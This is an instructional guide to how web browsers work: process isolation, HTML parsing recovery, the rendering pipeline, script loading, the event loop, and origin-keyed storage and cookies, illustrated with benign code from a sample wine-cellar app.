The Browser · Nº 21
A field guide to the browser
Guide Nº 14 followed a request across the wire and left you at the moment the first bytes of HTML arrived. This guide picks up there. Everything from this point — the parse, the paint, the freeze, the CORS error, the stolen session — happens inside one program running on the reader's machine, and that program is under conditions no server ever faces: it downloads code written by parties it has never met and executes it within milliseconds, dozens of times per page, on the same screen and in the same process family as the reader's bank.
This module builds the map the rest of the course hangs on. Two design problems dominate browser engineering, and nearly every behavior that has ever confused you is the visible edge of one of them: keeping a single thread responsive while running arbitrary code, and keeping mutually distrusting origins from touching each other. Learn to sort a symptom into the right tension and you have already done most of the diagnostic work.
The document metaphor is the most expensive misconception in web engineering. It suggests the browser receives a finished artifact and displays it, the way a PDF reader displays a PDF. What actually arrives is a program: markup that names further resources, stylesheets that will be resolved against a device the author never saw, and JavaScript — arbitrary, Turing-complete, written by whoever the site chose to trust — which the browser will compile and run before the user has finished reading the headline.
Consider one ordinary page load of the wine-cellar app at https://cellar.example. The HTML references a stylesheet, a font, an analytics script from a vendor, a charting library from a CDN, and the app's own bundle. Five parties contribute executable or render-controlling material. Four of them are strangers to the browser and three of them are strangers to the app's own engineering team. The browser has no source review, no build gate, no way to ask what the code intends. It has one option: run it, and constrain what running it can accomplish.
This is why browser engine is the right word for the subsystem doing the work. Blink (Chrome, Edge), WebKit (Safari), and Gecko (Firefox) are runtimes in the same sense that the JVM or the Python interpreter is a runtime: they parse a language, build in-memory structures, manage memory, schedule execution, and mediate every access to the outside world. The difference is the threat model. A JVM usually runs code its operator chose. A browser engine runs code its operator has never seen, on behalf of a user who clicked a link.
The browser is an execution environment for untrusted code, and the page is a running program rather than a rendered file. Every strange behavior in this course follows from that one fact plus its two consequences: the program has to stay responsive, and the program must not be allowed to reach anything it was not granted.
Nº 14 ended at time-to-first-byte: DNS resolved, TCP and TLS negotiated, the server's first packet of HTML in flight. Everything in this guide happens after that instant. When the two guides disagree about where a millisecond went, Nº 14 owns the wire and this guide owns the runtime.
A modern browser is not one process. It is a small distributed system running on one machine. A privileged browser process owns the window chrome, the network stack, the cookie jar, and the disk. One or more renderer processes — sandboxed, unprivileged — do the parsing, styling, layout, and JavaScript execution for the pages you visit. A GPU process turns painted layers into pixels on the screen, and utility processes handle audio and network-service work, while extensions run in their own renderer processes.
Under site isolation, the browser assigns different sites to different renderer processes, so cellar.example and an unrelated advertising site never share an address space. This turns an OS-level boundary into part of the security model: even a renderer with a memory-corruption bug cannot read another site's memory, because the other site's memory is in another process.
Two practitioner consequences follow. First, a tab crash is a process crash: the sad-tab page appears, that site's tabs die, and the browser and every other site keep running. Second — and this is the one that governs the next four modules — inside each renderer there is exactly one main thread, and it runs your JavaScript, your style resolution, your layout, and your paint. Not one thread per concern. One thread, sequentially, for all of it.
The sandbox exists because renderers process the most hostile input on the machine: attacker-controlled HTML, CSS, images, fonts, and JavaScript, parsed by large C++ codebases. Memory-safety bugs there are assumed, not hoped against. So the renderer is denied direct filesystem and network access and must ask the browser process for everything — which means a working exploit needs a second bug, in the sandbox itself, to matter. This is defense in depth expressed in OS primitives, not performance isolation.
Browser engineering is dominated by two problems that pull against everything else. Name them once and you will see them everywhere for the rest of this course.
Tension one: responsiveness on one thread. The renderer must run arbitrary JavaScript and also produce a new frame roughly every 16.7 ms, on the same thread, with no ability to preempt code mid-function. Every mechanism in modules 2 through 5 — tolerant streaming parsing, the staged rendering pipeline, script loading attributes, the event loop and its queues — exists to keep that thread available.
Tension two: isolation between strangers. The same runtime holds your bank's page and a page you opened from an email, sometimes at the same instant. Nothing in the platform lets the browser judge intent, so it enforces identity instead: code is labeled with its origin and denied reads across origin lines. Modules 6 through 8 — storage keyed by origin, the same-origin policy, CORS as an opt-in relaxation, XSS as the failure where hostile code lands inside an origin — are all this tension.
Keep the map. When a behavior surprises you, the first question is not what to change but which half of this diagram it lives in — because the halves have different debugging instruments, different vocabularies, and different people to talk to.
Three symptoms, filed. Each is the first paragraph of a module you have not read yet, and each is chosen because practitioners routinely file it under the wrong heading and then debug the wrong system for a day.
The cellar table freezes for about a second when you sort by vintage. Clicks during that second do nothing, then all land at once. Nothing is on the network; nothing is cross-origin. This is tension one, and specifically the event loop: one thread is inside your sort function, and until it returns the browser cannot process input or paint a frame. Modules 3 and 5 take it apart, and module 3 fixes it.
The frontend gets a CORS error calling https://api.cellar.example, but the identical request in curl returns 200. The overwhelming instinct is that the API is broken and curl proves it is not, so someone must be wrong about which URL they are hitting. Both observations are correct and consistent: curl has no origin and enforces no policy, while the browser sends the request, receives the response, and refuses to hand it to the calling script. This is tension two, and module 7 exists to make that sentence readable.
The page shows a blank white screen for 800 ms after the HTML has fully arrived. The network panel is clean. Tension one again, but a different mechanism from the freeze: a plain script tag in the head halted the parser, and nothing can render before the parse and the stylesheet finish. Module 4 traces it on a timeline that continues the waterfall from Guide Nº 14.
This is the same discipline as characterizing a claim before researching it. "Defendant behaved badly" is not a cause of action; breach, negligence, and fraud each have different elements, different evidence, and different defenses, and choosing wrong wastes the week. "The site is broken" is likewise not a diagnosis. Responsiveness and isolation are the two causes of action available here, and the elements of each are the rest of this course.
Filing a CORS error under tension one — "the API is slow or flaky, add a retry" — produces retries that hammer an endpoint which already succeeded, and, when the request is state-changing, duplicates its side effects. The error message was never about reachability. Read the tension before you write the fix.
On the map from module 01 this is the first station on the responsiveness side: the machinery that turns an arriving byte stream into something the rest of the pipeline can style and lay out, without ever stopping to complain. Two properties of that machinery generate a surprising share of real-world confusion. The parser does not fail on broken input — it repairs it, deterministically, in a way the specification dictates. And the structure it produces is not a representation of the file; it is a live object graph that begins diverging from the file the moment the first script runs.
Both properties are load-bearing for the debugging you do later. If you do not know that the parser inserts elements you never wrote, you will chase a selector that returns null. If you treat the Elements panel as a picture of what the server sent, you will build an argument on the wrong evidence and defend it confidently.
HTML parsing has two stages. Tokenization walks the byte stream and emits tokens — start tags, end tags, attributes, text, comments — driven by a state machine that has an explicit rule for every character in every state. Tree construction consumes those tokens and builds nodes, maintaining a stack of open elements and a list of formatting elements, with insertion modes that change what an incoming token means depending on where you are in the document.
The property that matters: neither stage has a failure exit. There is no parse error that stops the document. Everything you would call invalid — an unclosed tag, an end tag with no match, a <div> inside a <p>, a stray </br> — has a defined recovery in the HTML specification. It is not that engines are lenient. It is that the recovery behavior is the standard, written down so precisely that the same broken markup produces the same tree in Blink, WebKit, and Gecko.
By the time anyone tried to standardize parsing, the web already contained billions of pages of malformed markup, most of them unmaintained. A strict parser would have rendered a blank error page for a large fraction of the web, and no user would have accepted a browser that did that. The XHTML experiment tried strictness — a single unescaped ampersand yielded a yellow error screen — and the market declined. So the specification was written to describe what the tolerant parsers already did, and made it deterministic.
This is the difference between tolerant parsing and sloppiness. Sloppy means unpredictable. Tolerant-by-specification means you can predict the tree exactly — which is the only reason the rest of this module is useful rather than a warning to write better HTML.
tbody, no closing td tags — yields a tree containing a tbody element the author never wrote, identically in every engine.Four recoveries account for most of the surprises in practice. Each is worth being able to predict on sight.
Implied tbody. Rows written directly inside <table> get a tbody inserted around them. This is not optional and not a repair of an error; it is what the table insertion mode does. The wine-cellar's server template emits <table id="cellar"><tr>…, so the DOM contains table > tbody > tr, and the CSS selector #cellar > tr matches nothing at all.
Auto-closing. A <li> ends when the next <li> starts; a <p> ends when a block-level element starts inside it. So <p>Notes: <div>oak</div></p> does not produce a paragraph containing a div — it produces an empty-ish paragraph, a sibling div, and then an unmatched </p> that the parser handles by inserting a second, empty paragraph.
Misnested formatting. <b><i>Barolo</b> 2016</i> cannot be a tree as written. The adoption agency algorithm reconstructs it into properly nested elements, duplicating the <i> so the visual intent survives: bold-italic "Barolo", then italic " 2016".
Foster parenting. Content that is not allowed inside a table — a stray <div> between rows — is moved out, inserted immediately before the table in the tree. A developer who writes a loading skeleton row inside <tbody> and then cannot find it with tbody.querySelector has met this rule.
Served markup:
<table id="cellar">
<tr><td>Barolo<td>2016<td>12
<tr><td>Chablis<td>2019<td>6
</table>Resulting DOM: table#cellar > tbody > tr > td, six cells, all closed correctly. Now the two lookups a developer writes:
document.querySelectorAll("#cellar > tr") // → [] (empty)
document.querySelectorAll("#cellar tr") // → 2 rowsThe child combinator asks for rows that are direct children of the table. There are none — tbody is in between. The descendant combinator does not care about depth, so it works. The bug is not in the selector engine, the framework, or the timing; it is that the tree has one more level than the file does.
Recovery is deterministic but it is not intent-preserving. Foster parenting will silently relocate your element to a different parent, and the adoption agency will duplicate elements to make a tree. Neither logs anything. If a node is not where you put it, do not assume a race — assume the tree you built is not the tree you wrote, and go read it.
The DOM is not a representation of the HTML file. It is a mutable in-memory object graph that the parser initializes from the HTML file and that everything afterwards edits. That distinction has a precise moment attached to it: the page stops being the file the server sent at the instant the first script executes, and it never goes back.
Trace the wine-cellar list page through that moment. The server sends 4 KB of HTML containing a header, an empty <table id="cellar">, and a bundle reference. The parser builds a tree with no rows — because the file has no rows. The bundle runs, fetches GET /cellar-entries, and appends 240 tr elements. A user filters to Barolo; the script removes 218 of them. A user opens a row; the script sets aria-expanded="true" and injects a tasting-note panel. Ten seconds in, the DOM has hundreds of nodes and dozens of attributes with no counterpart anywhere in the served bytes.
The useful framing is documentary. The served HTML is a birth certificate: it records an origin, it is immutable, and it is evidence of exactly one moment. The DOM is the living person: current, changing, and the only thing that can answer "what is true right now." Both are legitimate artifacts. They answer different questions, and the entire next section is about not confusing which one you are holding.
The Elements panel renders the DOM. Not the HTML file — the current tree, including everything the parser inserted and everything scripts have done since, updating as you watch. View Source shows the served bytes for the document request. A scraper that fetches the URL and parses the response sees the same bytes as View Source and nothing else, unless it runs a real engine.
Three artifacts, three different answers to three different questions:
| Artifact | Shows | Answers | Blind to |
|---|---|---|---|
| View Source | The document response's bytes | What did the server send for this URL? | Parser recovery, all script mutation, injected content |
| Network panel, document response | The same bytes, plus status and headers | What did the server send, and under what headers? | Everything after the parse |
| Elements panel | The live DOM right now | What is the page's state at this moment? | Which changes came from the server, the parser, or a script |
Treat these as evidence with provenance. A screenshot of the Elements panel does not establish what the server sent, for the same reason that a photograph of a document as it exists today does not establish what was executed — intervening handling is unaccounted for. If the claim is "the server sends rel=noopener on these links," the admissible evidence is the document response in the Network panel or a curl of the URL. If the claim is "the attribute is missing when users click," the Elements panel is exactly right and View Source is irrelevant. Name the claim, then choose the artifact.
Reading Elements as the served HTML. Symptom: someone pastes an Elements screenshot to prove a server-side templating bug, the backend team cannot reproduce it, and two days go to a template that was always correct. Corrective: for any claim about server output, cite the document response bytes; if the difference is real, attribute it to parser recovery or to a specific script before assigning the work.
The scraping case is the same error with a different sign. A vendor reports that the wine-cellar page "has no inventory data" because their crawler fetched the URL and found an empty table. They are correct about the bytes and wrong about the page: the rows arrive from GET /cellar-entries after the bundle executes, so a fetch-and-parse crawler cannot see them and a headless browser can. Nothing is blocking them, nothing is cached wrong, and their user agent is fine.
Module 02 left you with a tree. A tree is not pixels. Between the two sits a staged pipeline that resolves style, solves geometry, rasterizes, and assembles — and it sits on the same single main thread as your JavaScript, which is why this module lives on the responsiveness half of the map.
The practitioner payoff is a cost model. Each pipeline stage consumes the previous stage's output, so a change that enters the pipeline early pays for everything downstream of it, while a change that enters late is nearly free. Once you can name where a given change enters, you can predict whether an animation will be smooth before you write it, and you can look at a Performance recording and say what a slow frame is made of rather than guessing.
After the DOM exists, four stages run in order.
Style. For every element, the engine resolves the cascade — author, user, and user-agent rules, inheritance, specificity — into a computed style: a concrete value for every property. Inputs: the DOM plus the CSSOM. Output: styled nodes.
Layout. Also called reflow. The engine solves geometry: how wide is each box, how tall, where does it sit relative to its container, where do line breaks fall. This is a global constraint problem, not a per-element lookup — the width of one element can change the height of a distant one through wrapping. Inputs: styled nodes plus the viewport. Output: a box tree with positions and sizes.
Paint. The engine records, then rasterizes, the drawing operations that produce pixels: backgrounds, borders, text glyphs, shadows, images. Painting happens onto one or more layers rather than directly onto the screen. Input: the box tree. Output: rasterized layers.
Composite. The layers are assembled in the right order with the right transforms and opacities and handed to the GPU for display. Input: layers. Output: a frame.
The stages are strictly ordered and each consumes the previous one's output. So the cost of a change is determined by the earliest stage it invalidates: invalidate layout and you pay layout, paint, and composite; invalidate paint and you pay paint and composite; invalidate only compositing and you pay almost nothing. Cheap and expensive are not properties of CSS properties in the abstract — they are properties of where a change enters this pipeline.
transform or opacity change can often be handled at composite alone. The rule is unidirectional: the earliest stage you invalidate sets the bill.Three tiers, with the canonical safe examples.
| Change | Enters at | Stages run | Typical use |
|---|---|---|---|
Geometry — width, height, top, left, font-size, padding, inserting or removing elements | Layout | Layout → paint → composite | Real structural change; avoid per-frame |
Appearance — color, background-color, box-shadow, visibility | Paint | Paint → composite | Hover states, theming |
transform, opacity on a composited layer | Composite | Composite | Movement and fades, including per-frame animation |
The practical consequence for animation is direct. Moving a panel by animating left from 0 to 320 px asks the engine to re-solve geometry on every frame, at 60 frames per second, for a change that is visually a translation. Animating transform: translateX(320px) asks it to composite an already-painted layer at a new offset. The visual result is the same; the work is not remotely the same, and on a mid-tier phone with a busy page the first one drops frames while the second does not.
Do not memorize property lists and do not promise that transform is always GPU-accelerated — engines differ, promotion to its own layer depends on conditions, and layers cost memory, so promoting everything backfires. What is stable across engines is the staging: geometry is upstream of appearance, appearance is upstream of assembly, and you pay from the earliest stage you touch. Reason from the stage, verify in the Performance panel, and treat any specific claim as a hypothesis your trace can refute.
The GPU deserves one sentence of demystification. Compositing runs on the GPU, which is very good at moving and blending already-rasterized layers. It does not do layout. There is no setting, hint, or property that makes layout run on the GPU, so "we will put it on the GPU" is not a plan for making a slow table sort fast — it is a plan for making an already-cheap animation cheap.
The engine wants to be lazy. When you write to the DOM, it marks layout dirty and defers the actual computation until it needs the result — normally just before the next frame, once, for all your writes together. That laziness is the entire performance strategy, and one line of code destroys it.
Reading a layout-dependent property — offsetHeight, offsetTop, getBoundingClientRect(), scrollTop, getComputedStyle() for a geometric value — demands an answer that is only correct if layout is up to date. If layout is dirty, the engine has no choice: it runs layout synchronously, right there, before returning from your property access. This is forced synchronous layout. Do it once and it costs one layout. Do it inside a loop that also writes, and you force one full layout per iteration. That is layout thrashing.
The cellar table holds 5,000 rows. Sorting by vintage runs this:
rows.forEach(function (row) {
row.classList.add("sorted"); // write — layout now dirty
var h = row.offsetHeight; // read — forces layout NOW
row.style.height = h + "px"; // write — dirty again
});Each iteration dirties layout and then immediately demands a clean answer, so the engine runs a full layout 5,000 times inside one task. Measured on the app's own trace: a 903 ms task, of which 780 ms is layout, split across roughly five thousand slivers. The page is frozen for nearly a second; clicks made during it queue and land afterward.
The repair changes no algorithm and no framework:
var heights = rows.map(function (row) { return row.offsetHeight; }); // all reads: one layout
rows.forEach(function (row, i) { // all writes: no reads between
row.classList.add("sorted");
row.style.height = heights[i] + "px";
});One layout instead of 5,000. The same trace now shows a 14 ms task.
The Performance panel records what the main thread did over a span of time and draws it as a flame chart: time on the horizontal axis, call depth downward, so a wide bar is slow and the bars beneath it are what it called. The workflow that matters is short.
Record the interaction, not the page. Start recording, do the one thing that feels wrong, stop. A ten-second recording of general browsing buries the evidence.
Find the long task. The main-thread track marks any task over roughly 50 ms — a long task — with a red corner. This is the unit that matters, because a task cannot be interrupted: input and paint wait behind the whole of it.
Read its composition by color. Yellow is scripting, purple is rendering (style and layout), green is painting and compositing. Composition is the diagnosis. One wide yellow block with a deep stack is your code doing too much computing. A yellow block shot through with hundreds of thin purple slivers is the thrash signature — script calling into layout over and over.
Name the frames it cost. A 903 ms task at 60 fps is 54 frames that never happened. That is the sentence to put in the ticket, because it converts a subjective complaint into a number.
The cellar-sort fix has three parts, and only the first is about thrashing.
Batch reads before writes. Gather every measurement in one pass, then apply every mutation in a second pass. One layout instead of 5,000.
Build off-DOM. Sorting means reordering rows. Reordering them in place moves live nodes one at a time, each move invalidating layout for everything after it. Building the new order in a DocumentFragment and appending once means the engine sees a single structural change.
Do not measure what you can compute. The loop read offsetHeight to preserve row heights that a CSS rule already determined. The rule was tr { height: 44px; }. The fastest layout is the one you never ask for.
Before: one task, 903 ms. Composition: 118 ms scripting, 780 ms layout across ~5,000 slivers, 5 ms paint. Frames produced during the task: zero. Two clicks recorded during the freeze dispatched after it ended, 640 ms and 210 ms late.
After: one task, 14 ms. Composition: 9 ms scripting, 3 ms layout in one block, 2 ms paint. Frames produced: the next one, on schedule. Same 5,000 rows, same sort comparator, same React version, same device.
Blaming the framework. Symptom: "the table is slow because React is slow," usually followed by a proposal to migrate, or to wrap everything in memoization, or to virtualize before anything has been measured. Corrective: record the interaction and read the composition first. A framework that re-renders too often shows up as many script tasks; layout thrash shows up as one task dominated by layout. Here the thrash lived in a useEffect that measured each row after mutating it — application code that would have behaved identically in vanilla JavaScript, jQuery, or Vue.
Note also what did not fix it, because these are the moves teams make first: virtualizing the list would have reduced the row count and hidden the bug until someone widened the viewport; memoizing the comparator addressed 118 ms of scripting and none of the 780 ms of layout; and a loading spinner could not have appeared at all, since the thread that would paint it was the thread that was busy.
This module occupies the loading region of the responsiveness map, and it is where the two guides in this series meet. Guide Nº 14 traced a request from DNS through TLS to the first byte of the response. Everything after that byte — parse progress, what stalls it, and when the user first sees anything — is here.
Three ordering rules generate nearly every loading waterfall you have squinted at, and they are not arbitrary: each exists because the alternative produces something worse than waiting. Learn the three rules, and a page-load timeline becomes readable in the sense that matters — you can point at the span that owns the delay and name the mechanism that caused it.
The critical rendering path is the chain of work that must complete before the browser can put anything on screen: receive HTML, parse it into a DOM, receive and parse CSS into a CSSOM, combine them into a render tree of visible styled nodes, lay out, paint. Anything that lengthens that chain delays the first pixel, and three blocking rules dominate it.
CSS blocks rendering. The browser will not paint content before it has the stylesheets, because painting unstyled content and then restyling it produces a flash of unstyled text — a visibly broken page followed by a jump. The engine judges a short blank screen to be the lesser harm, and it is right; users read a flash as a bug and read a blank moment as loading.
JavaScript blocks parsing. A classic script tag halts the parser until it has been fetched and executed. The reason is that scripts can call document.write and can read and mutate the half-built DOM, so the engine cannot continue building the tree without knowing what the script does to it.
CSS blocks JavaScript. A script may ask for a computed style, and the only correct answer requires every pending stylesheet. So a script that would otherwise be ready to run waits for CSS ahead of it — which means a slow stylesheet can delay a script, which is already delaying the parser. This is where mysteriously compounding load times come from.
Here is the wine-cellar app's head as it shipped:
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="/static/app.css"> <!-- 38 KB, render-blocking -->
<script src="https://metrics.vendor.example/a.js"></script> <!-- 40 KB, parser-blocking -->
<script src="/static/app.js"></script> <!-- 96 KB, parser-blocking -->
</head>The analytics script is a parser-blocking script and it is the expensive one, for a reason that has nothing to do with its size. It is on a third-party origin, so the browser must resolve DNS for metrics.vendor.example, open a TCP connection, complete a TLS handshake, and only then transfer 40 KB — while the parser sits idle with the rest of the HTML already in its buffer. On a mid-tier phone on 4G that is about 300 ms of pure stall, most of it connection setup rather than bytes.
Two important nuances. First, the browser is not entirely idle: a preload scanner reads ahead in the raw HTML and starts fetching resources it can see, so subsequent downloads overlap the stall. That reduces the damage and does not remove it, because tree construction still cannot advance. Second, the stall is not visible in the Network panel as a slow request — the request itself may be perfectly fast. It is visible as a gap between the HTML finishing and first paint, which is exactly the symptom module 01 filed as "blank screen with a clean network panel".
Scripts in the head by habit. Symptom: a project template with two or three plain script tags in the head, and a first paint several hundred milliseconds later than the HTML's arrival, on every page, forever. The folklore justification is "scripts have to load first", which conflates load order with execution timing — defer preserves order while removing the stall. Corrective: no script tag in the head may lack async or defer unless someone can state, in the review, what breaks without blocking.
Both attributes remove the parser stall by downloading in parallel with parsing. They differ in when the script executes, and that difference decides which one is correct.
| Download | Executes | Order guaranteed | Use for | |
|---|---|---|---|---|
plain <script src> | Blocks parser | Immediately, before parsing resumes | Yes, document order | Almost nothing; legacy document.write |
async | Parallel | As soon as it arrives, interrupting parsing | No — arrival order | Independent scripts with no dependencies and no DOM assumptions |
defer | Parallel | After parsing completes, before DOMContentLoaded | Yes, document order | Anything that needs the DOM, or needs another script |
async is a genuine trap for anything with dependencies. Two async scripts race, so whichever transfers faster runs first; a chart library and the code that calls it will work on your laptop and fail intermittently on a customer's connection, which is the worst possible failure profile. defer preserves document order and guarantees the DOM is fully parsed, which is what most application code actually assumes.
Both wine-cellar scripts get defer. The analytics script is independent and could take async, but defer also keeps it from interrupting mid-parse and it does not need to run early to be correct.
<link rel="stylesheet" href="/static/app.css">
<script defer src="https://metrics.vendor.example/a.js"></script>
<script defer src="/static/app.js"></script>Measured on the same mid-tier phone profile: first contentful paint moves from 1,240 ms to 910 ms — the 300 ms analytics stall plus a little parser progress. Time to interactive is unchanged at about 1,450 ms, because the same JavaScript still has to execute. That distinction is worth stating out loud in the ticket: defer moved when the work happens, not how much there is.
Both attributes apply only to scripts with a src. On an inline <script> containing code, async and defer are ignored entirely — the code runs immediately, in place, blocking the parser. Adding defer to an inline snippet and declaring the loading problem solved is a fix that changes nothing and closes the ticket, which is worse than no fix. If inline code must run late, wrap it in a DOMContentLoaded listener or move it to a deferred file.
Now put the two guides on one axis. Guide Nº 14 owns everything to the left of the first byte; this module owns everything to the right.
defer, the parse runs to completion while both scripts download in parallel, moving first paint to 910 ms. Time to interactive does not move — the same JavaScript still has to execute, which is why loading attributes are a latency fix and not a bundle-size fix.The last point is the one worth carrying into a planning conversation. defer bought 330 ms of perceived speed and zero milliseconds of actual work removed. If time to interactive is the complaint, the answer is less JavaScript — code splitting, dropping a dependency, moving work to the server — and no attribute will substitute for it.
Guide Nº 14 owns the Network panel: status codes, headers, caching, connection reuse, compression. This guide deliberately does not re-teach it. When a load is slow, the division of labor is simple — if the time is spent before the response finishes, it is a Nº 14 problem; if the response arrived quickly and the screen is still blank, it is this module's problem, and the Performance panel is the instrument.
This is the center of the responsiveness half of the map, and the module that retroactively explains the previous three. Parsing, layout, paint, event handlers, timer callbacks, promise resolutions: all of it runs on one thread, one thing at a time, scheduled by a mechanism simple enough to hold in your head and consequential enough that most "the app is slow" reports resolve here.
Two ideas carry the module. Run-to-completion means the browser cannot interrupt your function — so a long function does not degrade the page, it suspends it. And the queues are not one queue: tasks and microtasks are drained under different rules, which is why promise callbacks reliably beat a zero-delay timer and why an unlucky promise chain can starve rendering entirely.
One main thread per renderer runs your JavaScript, style resolution, layout, and paint. Not one thread each. The same thread, in sequence.
The budget follows from the display. At 60 Hz, a new frame is due every 16.7 ms, and the rendering pipeline needs part of that window. If your JavaScript occupies the thread past the deadline, no frame is produced — not a degraded frame, none. The previous frame stays on screen.
The reason the browser cannot simply interrupt you is run-to-completion: once a function starts, it runs to its end before anything else on that thread happens. This is a language and platform guarantee, and it is load-bearing — without it, another callback could mutate your objects halfway through your function, and JavaScript would need locks. You get simple, race-free code within a task, and you pay for it with the responsibility of returning quickly.
A long task does not make the page slow. It makes the page stop: no paint, no hover, no scroll response, no event dispatch, no spinner, until your function returns. Every mitigation that involves showing the user something during the freeze fails for the same reason — the thread that would draw it is the thread you are holding.
The scheduler is small enough to state in four lines. The call stack holds the currently executing JavaScript. The task queue holds work waiting to run: event handlers for dispatched events, timer callbacks whose delay has elapsed, and completions handed back from browser internals. The event loop waits until the stack is empty, takes the oldest task, and runs it to completion. Then it may render.
Everything follows. Your click handler is a task. A setTimeout callback is a task. The parsing of a fetch response body into your callback is delivered as work that ends up on a queue. None of them can start while the stack is non-empty, which is a precise restatement of the previous section.
The clarifying consequence concerns timers. setTimeout(fn, 100) does not promise to run fn in 100 ms. It promises not to run it sooner than 100 ms: at 100 ms the callback becomes eligible and joins the task queue, and it runs when the loop reaches it. If a 900 ms task is in progress, your 100 ms timer fires at roughly 1,000 ms. Timers set a floor, never a ceiling — which is the whole reason timing hacks fail on the machines that need them most.
The browser is genuinely concurrent; your JavaScript is not. Network transfers, disk access, decoding, and timers all run outside the main thread, in browser internals and other processes. What is single-threaded is the execution of your callbacks. Ten parallel fetches really do overlap on the wire; their ten then handlers still run one after another on your one thread.
There is a second queue with different rules. Promise callbacks — every .then, .catch, .finally, and every resumption after an await — go to the microtask queue, and the loop drains that queue completely after each task, before rendering and before taking the next task. Microtasks scheduled by microtasks are drained in the same pass.
console.log("1 sync");
setTimeout(function () { console.log("4 timer"); }, 0);
Promise.resolve().then(function () { console.log("3 microtask"); });
console.log("2 sync");Output: 1 sync, 2 sync, 3 microtask, 4 timer. The two synchronous logs run first because the current task must finish. The promise callback runs next because the microtask queue drains as soon as the stack empties. The zero-delay timer runs last because it is a task, and the next task is only taken after microtasks are exhausted. A zero-delay timer never beats an already-resolved promise.
The priority is a knife with two edges. It gives you a reliable way to schedule work that must happen before the browser paints — useful, deterministic. It also means a promise chain that keeps scheduling more microtasks never lets the loop reach rendering at all: the queue never empties, so the frame never comes, and the page freezes with the CPU busy in short, individually harmless callbacks.
A recursive Promise.resolve().then(step) that processes one cellar row per step looks like polite chunking and is the opposite. Each step is a microtask, so all 5,000 run in one drain without a single paint — exactly the freeze the chunking was meant to avoid, but harder to spot in a trace because no individual callback is long. Chunking must yield to the task queue to let rendering in: setTimeout(step, 0), requestAnimationFrame, or scheduler.yield() where available.
One walkthrough, six ticks, drawn from the wine-cellar's list page: the user clicks "Refresh", the app fetches the cellar entries, and the render is heavy. Follow the stack and both queues.
onRefresh(): it starts a fetch — handed to browser internals, promise pending — and schedules setTimeout(logDone, 0), then returns; the stack empties. (2) The microtask checkpoint finds nothing, so the browser paints the button's active state. (3) The timer's task runs logDone() — before the fetch resolves, because a timer's floor has elapsed and a network response has not arrived. (4) The response arrives; resolving the promise enqueues render as a microtask. (5) render runs as a microtask and takes 900 ms building 5,000 rows synchronously; a second user click sits in the task queue and no paint occurs — this is the freeze. (6) The long task ends, the browser paints the new rows, and the queued click's task finally runs against the updated DOM.Three lessons are packed into that sequence, and each is a bug someone has shipped. Tick 3 shows that a zero-delay timer is not "immediately after the fetch" — timers and network completions are unrelated clocks, and code that assumes otherwise is a race. Tick 5 shows that microtask priority does not make a callback cheap: 900 ms of work is 900 ms of freeze whether it is a task or a microtask. Tick 6 shows that input during a freeze is queued and then dispatched against a DOM that has since changed — which is how a click intended for one row lands on a different row after a re-sort.
async/await is syntax over promises. await suspends the enclosing function, returns control to the event loop, and resumes the function in a microtask when the awaited promise settles. It creates no thread. It moves no computation off the main thread.
The precise distinction: await fetch(url) yields, because the waiting is done by browser internals and there is genuinely nothing for your thread to do. await computeCellarStatistics(rows) where that function is synchronous yields nothing at all — the function runs to completion on your thread first, and the await merely wraps its already-computed value. Marking something async does not make it non-blocking. If the work is CPU-bound, the honest options are to do less of it, move it to a Web Worker, or split it across tasks with real yields.
Sprinkling setTimeout on races. Symptom: setTimeout(initChart, 200) in the codebase, with a comment like "wait for data", and an intermittent failure that only reproduces on slow connections or slow devices — the environments the delay was supposed to protect. The delay does not sequence anything; it guesses. Corrective: express the actual dependency. If the chart needs the data, await the fetch and call it in the resolution path; if it needs the DOM, listen for DOMContentLoaded; if it needs a third-party global, use that library's ready callback or a load event. Explicit sequencing is correct at any speed, and any timeout constant is a bug waiting for a slower machine.
The Console, at practitioner level. Three things repay knowing.
Async stack traces. An error thrown inside a then or after an await would naturally have a stack containing only the microtask, since the code that started the operation returned long ago. Devtools stitches the async frames together, so you see the originating call. Turn it off and most async errors become uninvestigable — this is why an error can name a file you have never opened.
The live-object pitfall. console.log(obj) logs a reference, not a snapshot. When you expand it in the panel, devtools reads the object as it is at that moment, which may be several mutations later. This produces the maddening experience of a log that says the array is empty while the expanded view shows twelve items. If you need the state at log time, log a copy — console.log(JSON.parse(JSON.stringify(obj))) — or use console.table for the flat case.
Unhandled rejections. A promise that rejects with no handler reports as an unhandled rejection rather than a thrown error, and it will not stop execution. Code that silently does nothing while the console shows one rejection warning is usually a missing catch in a chain someone forgot to return.
This module crosses to the isolation half of the map. Every storage mechanism the browser offers is keyed by origin, which means choosing where to put a value is not an ergonomics decision — it is a decision about which code can read it, and therefore a security decision that happens to be spelled as an API call.
The module builds one asymmetry and then uses it. Everything a page's own script can read, injected script can also read, because injected script is the page's script as far as the platform is concerned. Exactly one storage option is invisible to script, and its protection is narrower than its reputation. Getting that sentence exactly right is what module 08 will spend thirty minutes cashing out.
Four mechanisms, all keyed by origin, differing on lifetime, capacity, API shape, and who can read them.
| Mechanism | Lifetime | Scope | Capacity / API | Readable by page script? |
|---|---|---|---|---|
localStorage | Until explicitly cleared | Origin | ~5 MB, strings only, synchronous | Yes |
sessionStorage | Until the tab closes | Origin, per tab | ~5 MB, strings only, synchronous | Yes |
| IndexedDB | Until explicitly cleared | Origin | Large, structured objects, asynchronous, indexed | Yes |
| Cookie (default) | Session or explicit Expires/Max-Age | Domain + path (looser than origin) | ~4 KB per cookie, string pairs | Yes, via document.cookie |
Cookie with HttpOnly | Session or explicit Expires/Max-Age | Domain + path | ~4 KB per cookie, string pairs | No |
Two operational notes. localStorage is synchronous, so it runs on the main thread — a 2 MB JSON round trip through it on every route change is a long task waiting to happen (module 05's material, arriving from an unexpected direction). And sessionStorage is per tab: two tabs on the same origin have separate sessionStorage, which surprises people who expect it to behave like a session in the server sense, and a duplicated tab inherits a copy rather than sharing one.
Data written by https://cellar.example is not visible to https://api.cellar.example, to http://cellar.example, or to any other origin — the browser partitions these stores by the exact origin tuple that module 07 defines. That is a strong boundary between sites and no boundary at all within a site: every script running on the page shares the store, whether it is your bundle, the analytics vendor's script, or something an attacker got rendered into the page.
The cookie is the only storage that travels. Everything else sits in the browser until your code reads it and does something. A cookie has two independent access paths, and most confusion about cookies comes from reasoning about one while the other is doing the work.
Path one — the wire. The server sends Set-Cookie: session=8f2c…; HttpOnly; Secure; SameSite=Lax; Path=/. The browser stores it in the cookie jar, which lives in the privileged browser process (module 01's architecture), and attaches it automatically to every subsequent matching request. No JavaScript participates. This is the half Guide Nº 14 traced, and it is why session cookies work on a plain form post with scripting disabled.
